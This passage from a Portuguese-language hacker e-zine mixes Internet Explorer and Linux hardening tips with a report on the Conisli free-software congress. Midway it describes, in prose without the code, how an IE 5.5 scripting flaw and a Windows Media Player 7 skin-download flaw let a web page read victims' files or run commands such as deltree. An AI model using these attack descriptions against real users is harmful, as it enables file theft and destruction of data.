contraditorio escrever sobre como explorar falhas mais a intenção e de assustar pela facilidade que isso e possível. Bom pra começar vamos deixar o I.E. mais protegidos de ataques, a melhor opção seria usar o Netscape mais se vc e fã da Microbost (fazer o que tem gosto pra tudo nesse mundo) lá vai: Abra o Internet Explorer e faça a sequencia Ferramentas / opções da internet/ aba Segurança / Nivel personalizado e siga os passos abaixo. 1- Proteja suas senhas, para evitar que pessoas mau intencionadas tenha acesso ao seu nome de usuario(login) e sua senha, clique em "login anônimo" ou se preferir em "solicitar nome do usuário e senha". 2- Cookies, como na verdade alguns destes biscoitinhos são programas meio camuflados para monitorar suas ações na internet e bom pedir para o navegador requisitar confirmação antes de copiar um para seu HD, ou então crie o habito de apagar seus aquivos temporarios da internet periodicamente. 3- Softwares instalados automaticamente, outro dia vc encontrou um trojan no seu HD adivinha como ele apareceu, para naum ficar a mercer dessa eficiente arma hacker , defina em "Permissão de Canais de Softwares" segurança máxima ai seu navegador nunca mais vai fazer download de um programa sem o seu conhecimento 4- Informações confidencias, se vc naum quer correr o risco de quando for fazer compras on-line ter por exemplo o numero de seu cartão de credito a mercê de espertinhos vá em "submeter dados de formulário não criptografados" e clique em "desabilitar". 5- Miniaplicativos em Java, bom essa linguagem e vastamente usada na criação de sites e como e muito maleavel e flexivel e tb bastante comum ser vista como forma de vandalismo digital, para diminuir os risco clique em "segurança alta" em permissões de java. 6- Scripts e ActiveX, da mesma forma que o Java e bom tomar cuidado com esses ai para isso habilite a opção "confirmar" em "scripts e plug-ins" e "controle activeX", assim qualquer ação que envolver seu micro será notificada e pedirá sua aprovação. Mais isso tudo e mesmo necessário!? Sim senhor! Preste atenção nestas falhas do I.E. e vc verá como é possível com simples linhas atacar qualquer sistema desprotegido. Falha no I.E. 5.5 Com essa falha aki e possível ler qualquer arquivo da maquina de desavisados. Uma brecha no Active scripting permite isso. Vamos supor que vc queira ler o arquivo c:\hacker.txt vc consegue imaginar isso naum e mesmo???
Bom na verdade esse código só vai mostrar o arquivo para quem acessar a pagina em questão (vc naum achou mesmo que eu ia ensinar tudo, achou?) mais se vc consegue entender o codigo e só redirecionar o conteudo para algum arquivo no servidor. Quer mais ? Então Toma ! ! Essa falha se aproveita de outra falha do Windows Media Player 7, e é muito pior que a anterior, é simples o tocador do ruindows tem uma função de baixar skins automaticamente ou seja basta colocar um arquivo com extensão .wmz no navegador que o coitado faz o resto. E vc com isso? Bom o conteudo desse arquivo pode ser qualquer coisa, hehhehhe, ponha esse troço que vc tem entre as orelhas para funcionar que vc verá as inumeras possibilidades, nesse exemplo será um aplicativo em Java que vai ter acesso a todo disco rigido com permissão para executar qualquer comando no HD, inclusive o deltree. Vamos supor que vc tenha a seguinte pagina no seu site, hacker.html coloque nela o seguinte código: No arquivo hacker1.html coloque: Esse código baixa o wmp2.wmz para o computador, apos isso será aberto o hacker1.html o qual procura dentro do wmp2.wmz o arquivo inferninho.class o lance todo esta aki, esse arquivo e que vai executar o comando de sua preferencia, que eu naum vou ensinar como faz , pelo simples fato que essas coisas são uma faca de dois legumes (é isso mesmo!?, bom naum importa) o que quero dizer e que naum quero que isso vire o paraiso de Lamers, mais se vc esta prestando atenção vai perceber como e facil, lembre-se que esse aquivo pode ser qualquer coisa. Bom ja fugimos demais do assunto voltemos então: 7- Patches de segurança e Firewall, para corrigir essas falhas use o Windows Update, é akilo lá serve pra alguma coisa sim, ele vai direcionar vc para a pag. da Microbost e sugerir que vc baixe algumas correções ai e so esperar, bom se vc nunca fez isso vai esperar muito o windows e cheio de buracos. Instale tb um Firewall, sugiro o ZoneAlarme que e de gratis e é o suficiente para manter Lamers afastados, e os hackers como me livro deles? Bom a menos que vc seja um Milhonario nenhum deles vai se interessar em invadir seu computador o esforço naum vale apena a naum ser que isso lhe dê algum prazer, por exemplo vingança ou pura sacanagem mesmo, uahuahuahuah. Sobre o que mais eu ia escrever mesmo??? (Vou subir a tela pra ver a introdução, espera ai, ja que eu volto!). Ah tá! Navegar anonimamente com endereço de proxy ! Se vc naum sabe o que é um proxy, vai ficar sem saber por que eu naum tô afim de escrever sobre. Mais como eu uso um, Inferninho? Pra usar um, é simples, primeiro vc procura neste site um lugar onde ta escrito Endereços de Proxys ou qualquer coisa parecida e pra tá no menu da esquerda, se esses Proxys naum estiverem funcionando e só mandar um Cólera do Dragão no Haze que ele atualiza a lista. O endereço deve ser algo assim 123.45.67.89:80 obs.: que o endereço e somente 123.45.67.89 esse tal de :80 e o numero da porta. Agora e so configurar o Navegador, para o I.E. use essa sequencia: Ferramentas/ Opções da Internet/ Conexões/ botão Configuração de LAN/ Marque a opção usar servidor proxy para rede local/ no endereço digite o proxy no nosso caso 123.45.67.89/ e embaixo a porta que e 80 sem os ":" pelo amor de Deus , ai e so dar OK/ Aplicar/ OK. Para o Netscape faça assim: Edit/ Preferences/ Advanced/ Proxies / Marque a opção Manual proxy configuration / Em HTTP Proxy digite o endereço do proxy / Em Port, digite a porta do proxy dããããããã / OK. Ah tá ! então vc usa Linux e esta acima de tudo hehehe !!! De fato isso e quase verdade, digo quase porque nem mesmo o Linux consegue escapar das mãos de usuarios menos experientes, um "problema" para quem usa Linux e que a maioria das distribuições disponibilizam um conjunto de serviços que são executados assim que vc liga seu micro, alguns destes serviços podem ser executados automaticamente durante a conexão com a internet por exemplo um servidor Web. Ai seu sistema fica com portas abertas e vulnerável, pra invadir ele e so passar um port scan e tentar um telnet ou rodar um exploit, e vc ainda vai ficar aí se perguntando como? por que? comigo naum!!! Ou vai fechar de vez essas maleditas portas (Italiano em homenagem a novela Esperança!!! Credo, acho que endoidei de vez). Então execute o seguinte comando como "root", "# ntsysv --level 35" se aparecer uma telinha azul vc ta no caminho certo garoto esperto! Todos os serviços marcados com "*" serão inicializado junto com o sistema, para alternar entre a inicialização ou naum, pressione a barra de espaço, se vc naum sabe pra que serve akele serviço tecle F1 com o cursor sobre seu nome que vai aparecer uma tela explicativa, nunca habilite um programa a menos que vc tenha certeza do seu uso, isso poderá evitar muitos problemas, para sair aperte TAB e escolha OK, pronto so isso mané !!! Ae tem o basicão o resto é com vc pikachu, se vira ki tu naum nasceu umbigado comigo, falow ! ! ************************* The MOTD Hacking Group Writted by Inferninho ************************* |--------------------------------=[ EOF ]=----------------------------------=| =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ 22 ]=-=[ MOTD na Conisli - Nós Fomos, Nós Participamos ]=-=-=-=-=-=-=-=-=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Como vai galera? Fuçando muito? Reservo esta seção seção em especial para divulgar a vocês que o 1º Conisli - Congresso Internacional do Software Livre - que foi realizado nos dias 8 e 9 na USP-SP teve a participação do grupo MOTD. Isso mesmo! Esse grupo cheio de Newbies teve alguns representantes na seção "Mesa de Discussão sobre Hackerismo" onde foi discutido sobre o verdadeiro hacking junto com o hacking ético (sim, são sinônimos). Junto com o MOTD estavam presentes também integrantes do grupo CdM - Clube dos Mercenários -, do FTS - Front The Scene -, e do Fusion - Recém criado. E são eles quem compareceram na mesa de discussão: IP_FIX (motd), Sefer_Zohar (fusion), dmr (fts), dum_dum (fts e cdm) e Inferninh0 (motd). Embora praticamente todos fazem parte de todos os grupos citados. Com esse grupo, levamos o underground no topo (entenderam? underground no topo! hahaha. Sem graça.) para mostrar ao público que estava assistindo (uma sala cheinha) que os hackers não são criminosos digitais, lamers, kiddies, etc... Bom, tentamos levar ao topo, claro que nunca conseguiremos satisfazer a todos, mas a grande maioria sim. Vamos lá galera!!! White Hat na cabeça!!! Temos que colocar esse chapéu e darmos a cara à tapa se quisermos mudar essa imagem negativa que a mídia tem de nós. Lembrando que o Conisli foi a nossa primeira aparição e isso serviu para dar partida para próximas que já estão agendadas (agendadas, não confirmadas) e contamos com o apoio de todos. Nada é impossível, só depende de você. Se você acredita que pode mudar, vai lá! Vai lá lutar pelo o que você acredita com todas suas forças e com o mais importante: Um grupo (amigos). Um jovem não conseguiu derrubar a ditadura lutando com tudo que tinha, mas milhares de jovens derrubaram essa "elite" que só nos fez sofrer (nossos pais e mães). Com o hacking não é diferente. O mais forte (mídia, ricos e micro$oft) impõe o que é certo e errado sem dar espaço para uma defesa justa. Então cabe a nós, jovens, derrubarmos essa ditadura que já impera por muitos anos... Desde quando surgiu o primeiro exploit, o primeiro vírus (boot), o primeiro computador... Voltando ao assunto do Conisli, só tenho a dizer que teve tudo do bom e do melhor. Conseguiram juntar o útil ao agradável: Linux+Computadores+Internet+Hackers(?)+Pessoas que entendem muito de tudo. Ahhhh, vocês perderam as garotas da LinuxChix, que é um grupo feminino de usárias de linux...:D. Jonh Maddog esteve presente, um velhinho muito simpático que quase falei o que eu queria ganhar de Natal!!! Sim, ele é igual o Papai Noel! Chega da minha infantilidade. O Congresso também contou com a presença de Antônio Marcelo - Honeypot-BR e ex da bufferoverflow.org - que deu uma palestra muito interessante sobre honeypot. Sandro Melo também deu uma execelente palestra sobre Varreduras e Técnicas de rede que abrangeu ao máximo os tipo de varreduras que podem ser feitas. Carlos E. Morimoto - Criador do Kurumin - também esteve presente, mas não pudermos assitir à sua palestra por estarmos presente na seção do install fest, galera super 10 que deu total apoio aos usuários leigos em linux que levaram seus pcs para ser instalados diversas distribuições e deram apoio também à cultura hacker com a presença deles na nossa palestra. É galera, é impossível falar de todos os detalhes nesses dois dias de congresso que marcou o grupo e o movimento hacker, mas só posso dizer-lhes isso. Espero não ter esquecido de nada nem de ninguém. Então até a próxima e-zine ou me encontre no canal. Tchau! Hehehe, não ia esquecer de uma pessoa não. Após nosso debate na mesa, sobrou um povo que começou a conversar conosco e dentre eles, tinha uma figura que virou mito no hacking ético. Graças aos meus olhos treinados, que possuem uma percepção afiada e uma capacidade de piscar inegualável! Reparei que um senhor (que insistiu que eu o chamasse de VOCÊ! :)) tinha uma barata na camiseta (de desenho, não de verdade!), uma barata dentro de um computador! Não pensei duas vezes. Perguntei seu nome e a resposta foi a esperada: - Derneval. Sim, Derneval Ribeiro Rodrigues da Cunha, o criador da primeira fanzine no Brasil que divulgou o hacking ético a todos pela primeira vez na história de nosso país no dia 3 de Dezembro de 1994 chamado de “BARATA ELÉTRICA”, que pode ser conferido em: http://www.barataeletrica.cjb.net. Todos ficamos mudos por alguns instantes. Ele é sujeito muito simpático, humilde e desconfiado... :D, que por incrível que pareça ainda está na ativa, mas com passo lento. E sim, ele está disposto a levar nosso movimento à frente de tudo e de todos para chegarmos a nossa meta: Muda a imagem negativa que o hacking possui. Derneval, saiba que o grupo MOTD sempre estará aberto a pessoas como você que além de querer aprender, quer ajudar a disponibilizar todas informações e mudar nossa imagem. Estaremos sempre a disposição e nunca deixe de acreditar naquilo em que você sempre sonhou. Obrigado por tudo e sempre que precisar peça nossa ajuda. Agora sim, espero não ter esquecido de ninguém. Ahhh, do sqwalk (Rafael) (Rafael), ele que é do fusion iria participar da mesa de discussão mas não pôde por problemas pessoais (mulher, filho). Sei que ficou chateado, mas oportunidades como esta não irão acabar tão cedo (espero...:)). Congressos como este, só nos ensina que atrás de um pequeno nick, há uma grande pessoa. Desejo à vocês, caros leitores, toda sorte do mundo e que nunca desacredite nos seus sonhos e ambições, por mais impossível que pareça. Pois pra mim era impossível e loucura, irmos na USP, num congresso como a Conisli, com 5 pessoas, discutirmos sobre a verdadeira cultura hacker para dezenas de pessoas. :). Vencemos uma batalha, mas nos resta uma guerra pela frente... Agradecimento em especial ao Sefer_Zohar, que sem ele nada disso teria sido possível (ele que deu a idéia de abrir um espaço pra nós); ao Inferninh0 que após horas de discussões no irc, resolveu ir de última hora no evento; ao dmr que é um "mestre de furar tabocas com varas de bambú" :) e ao dum_dum, que falou + que nós mas respondeu diretamente e corretamente todas as perguntas tanto socialmente quanto tecnicamente; e faltou o sqwalk (Rafael) que não pôde estar presente na mesa de discussão, mas deixou conosco seu apoio. Obrigado a todos pelo apoio que deram e obrigado à você, newbie, que está lendo esse artigo até o final!!! :) Um Cordial abraço para todos, IP_FIX - Everson. “Hacker não destrói, não invade, não rouba. Apenas cria, melhora e protege.” – IP_FIX no Congresso do Software Livre realizado na USP. Fatos Cômicos do Evento: Na parte da install fest, dum_dum e eu ia sair pra assistir uma das palestras e na hora de sair Jonh Maddog agarrou ele para tirar várias fotos. Vocês tinham que ver o sorriso que ficou na cara do garoto que foi bem maior que esse :D Depois das fotos, viram um inseto nas costas do Maddog e quando viram, começaram a gritar: "- TEM UM BUG NO MADDOG!!! TEM UM BUG NO MADDOG!!!" :D E tem outra do Maddog. Ele entrou na salinha para tirar fotos em que estava reunido o pessoal do Install Fest e nessa sala tinha uma lousa (que usa caneta piloto pra escrever) que tava escrito +/- isso: “Não fazer downloads. Internet estrupada por I.F. (Install Fest). Beleza, normal isso, a não ser pelo fato de o Maddog ter tirado foto com o ESTRUPADA POR I.F bem do seu lado... No domingo, cheguei lá com o Inferninh0 na hora do almoço e um pessoal se reuniu lá na Install Fest para almoçar e vimos um sujeito que encostou na lousa, e quando ele saiu vimos que a palavra “ESTRUPADA” sumiu da lousa!!! Só estava um pouco do final: “PRADA”. E quando o sujeito virou de costa, vimos: “ESTRUP..”. Demos muita risada e ainda se defendeu: “- Ahhh, sorte que só ficou meia palavra...”. E nessa eu retruquei: “- Verdade, mas pra bom entendedor MEIA PALAVRA basta...!!!” :D:D:D Logo após o BOOK de fotos que dum_dum tirou com Maddog (sim, foram muitas fotos), o celular dele começa a tocar no bolso, e ao atender, o celular virou um sabão e pega aqui, escorrega, pega denovo, soltou, mais uma vez e cai, tenta mais uma mas deixa cair no chão, e quando estava caindo, o Rafael (sqwalk) foi tentar amortecer a queda deixando-o cair em cima de seu pé... Pra que... Quando ele foi por o pé em baixo acabou dando uma “bicuda” no celular que quase caiu dentro do lixo (chegou a bater no latão)!!! No fim ele conseguiu atender. Era o dmr falando que queria rachar a taboca dele!!! Não me perguntem o que é TABOCA! Sefer_Zohar estava discutindo (conversando normal, mas com uma atenção tremenda) com o Antônio Marcelo bem excitamente, quando no meio da conversa, sem mais nem menos, muito subtamente ele vira para o lado e fala: "- Vamos assistir Matrix Revolution???". Todo mundo olha pra ele e fica sem entender nada. Essa só estando lá mesmo pra entender... :) Quando fui aprensentar o Inferninh0 pra galera, aprensentei como o maior Defacer, Lamer e Script Kiddie do Brasil. Todo mundo zoou ele e demos muita risada disso... Exceto o dmr, que acreditou que isso era verdade... Inferninh0, que mal abria a boca pra falar Oi, Tchau e Blz, se arrenpedia de abri-la para falar seu nick para o pessoal que não o conhecia: "- Inferninh0? Você é kiddie, defacer ou o quê???", “- Daonde você arrumou esse nick???” :) Durante a nossa palestra, fizeram uma pergunta e ele se referiu assim: "-Vejo que você são muito jovens... - e quando olhou para mim (IP_FIX) - ...e muito adolescentes também...". Pô! Pode me chamar de crinça que não ligo! Os Sefer_Zohar, dum_dum, sqwalk (Rafael) e Inferninh0 me encontraram na primeira vez que me viram por causa da minha cara de 12 anos. E só para esclarecer: Tenho 16 anos!!! :D E pra encerrar. O Derneval voltou de trem/metrô com a gente, e ao entrarmos no vagão, percebamos que estava quase completamente vazio e quando sentamos, reparei que ele (Derneval) estava sentado no banco de idosos. Não que ele seje velho, mas a carapuça serviu... Ele reparou que falei pro inferninh0 dando risada, e nesse instante deu um desespero nele: “ – Deixa eu sentar aí, deixa eu sentar aí, deixa eu sentar aí... – disse ele para o dum_dum, mandando-o sentar no banco de idosos. :D Houve muitos fatos engraçados, mas foram menos que este e não tem palavras para descrever. Só quem tava mesmo que aproveitou essa reunião de malucos... Isso porque não falei que o Sefer_Zohar saiu arranhado no braço pelo dum_dum. Qual é gente? Sem preconceito!!! Não é só porque que dormiram no mesmo quarto, que isso seje muito supeito (muito mesmo...:)). É só isso galera, espero não ter ofendido ninguém, principalmente Sefer_Zohar e dum_dum, mas se ofendi eu já peço desculpas... Abraços e até a próxima galera. []´s IP_FIX. PS: Não aconteceu nada com dum_dum e Sefer_Zohar. Dmr estava no quarto também! :) PS2: Se ofendi alguém nesse meu infame senso de humor, me desculpem + uma vez, mas foram detalhes inesquecíveis e bizarros!!! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ 23 ]=-=[ Links e Agradecimentos ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Bom galera, chegou a hora das despedidas, elas são tristes mas animadoras pois sei que se chegaram até aqui é porque aproveitaram essa e-zine até o final (ou pulou pra cá direto, hehehe :)). Espero que tenha sido de grande ajuda, mesmo porque o objetivo não é ensinar ninguém a se expert, muito menos hacker. Ela só é a porta do caminho que muito de nós estamos percorrendo e dificilmente pararemos e queremos que vocês percorram também. “Há uma grande diferença em saber o caminho e trilhar o caminho” – Morpheus – Matrix A mensagem que quero passar pra vocês é que não desistam daquilo que você acredita e não se consegue nada sem esforço. Pra tudo que façamos existe um preconceito, a solução é passar por cima dele. Não importa se nos chamam de “ladrões virtuais ou vândalos”. Sabemos que não somos. E não é só porque aparece pedras no caminho é que vamos desistir no primeiro tombo, ninguém aprendeu a andar sem cair. É só galera, só quero falar pra vocês que o grupo motd está aberto ao que der e vier. Não tenha medo de perguntar. Só não faça perguntas cretinas como: “- Me ensina a invadir.” Pois não iremos tolerar, estamos aqui pra ajudar e não para ensinar rodar um exploit pra tal falha. Espero que tenham me entendido. Agradeço ao SKOFF, Sefer_Zohar, Inferninh0, dum_dum, dmr, sqwalk, bronco, hallucination, greenhornet, nashleon (coracaodeleao), nibble, omdule (module), habeas, Le_AmBAr, REPOLHO, ByNaRiuS, emmanuele, cod3x, BlackSheep182, Soldier_of_Dark, d4rwin, Vo5, Caiobat, HazzarD, RedEyes, Jakk_, SkyNet45, Gold_Boy, OmegaB1te, Waldirio, Narcotic, s0ul, deadsckt, Derneval, mpacheco, reign, Haze, Lorena, V4mp1r4 e a todos que colaboraram de certa forma com o motd e ao que eu esqueci. :). Até a próxima edição. “Pra tudo que tem um começo, tem um fim.” – Agente Smith ao ponto de matar o Neo O que segue abaixo (Brasileirinho) é de um idealizador que não tem vínculos com o motd, mas também atua na área de segurança. :: Brasileirinho gnu\linux :: O brasileirinho gnu\linux é uma mini distribuicao, voltado para programadores e usuarios que gostam cioonfigurar tudo na mão, e também serve para usuarios iniciantes que tem a intencao de apenas aprender ou saber como funciona o linux. Se voce usa o Windows9X, NT, 2000, XP, MSDOS, nao é preciso reparticionar seu HD, pois ele e totalmente instalavel em qualquer destes sistemas operacionais sem precisar modificar nada no seu sistema operacional. Ele funciona em qualquer computador apartir de 486, 8 mb de memoria ram e com 200 mb no hd livre. Site para download: http://www.brasileirinho.phx.com.br Está versão é recomendada para quem que ajudar no projeto ja que como é uma distribuição nova ha muito caminho a percorrer. Se quiser ajudar entre em contato por: #brasileirinho - Rede Brasnet: irc.brasnet.org Links: http://www.motdlabs.org http://www.infoshack.cjb.net http://cdm.frontthescene.com.br http://www.frontthescene.com.br http://www.barataeletrica.cjb.net http://coracaodeleao.virtualave.net http://unsekurity.virtualave.net http://www.hallucinated.kit.net http://www.infernoz.kit.net http://www.phrack.com http://www.w00w00.org http://www.txt.org http://www.honeypot.com.br http://www.conisli.org.br http://www.google.com.br http://www.brasileirinho.phx.com.br Existe uma infinidade de outros links que não puderam ser citados aqui por questão de esquecimento, mas que poderão ser passados na nossa mail-list. Agradecemos a compreensão. Atenciosamente, Motd Labs. _EOF_